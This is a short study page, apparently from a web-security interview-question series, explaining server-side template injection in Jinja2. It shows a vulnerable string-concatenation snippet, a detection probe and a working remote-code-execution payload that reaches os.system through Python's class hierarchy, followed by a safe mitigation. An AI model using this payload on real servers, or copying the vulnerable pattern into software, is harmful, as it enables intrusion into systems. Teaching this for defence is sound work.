Web Security & OWASP (50 Qs)•Part 2: OWASP Top 10 & Critical Vulnerability Deep-Dives (11 - 25)
Server-Side Template Injection (SSTI): Mechanics, template sandboxes, and remote code execution.
Template Engine Execution Pitfalls
Server-Side Template Injection occurs when user input is concatenated directly into a template engine string (such as Jinja2, Twig, or Handlebars) rather than passed as dynamic data context.
scss
Vulnerable Jinja2 (Python):
template = Template("Hello " + req.args.get('name')) # DANGEROUS STRING CONCAT!
template.render()
Attacker Payload:
{{ 7 * 7 }} --> Renders 49! (Confirms SSTI)
Exploitation Payload (RCE via Python MRO):
{{ ''.__class__.__mro__[1].__subclasses__()[137].__init__.__globals__['sys'].modules['os'].system('whoami') }}
Result: Spawns arbitrary shell commands with the privileges of the web worker!
Mitigation
Always separate the static template file from dynamic variable context:
python
# SECURE: Template is static; input passed as context dictionary
template = env.get_template("greeting.html")
return template.render(name=user_input)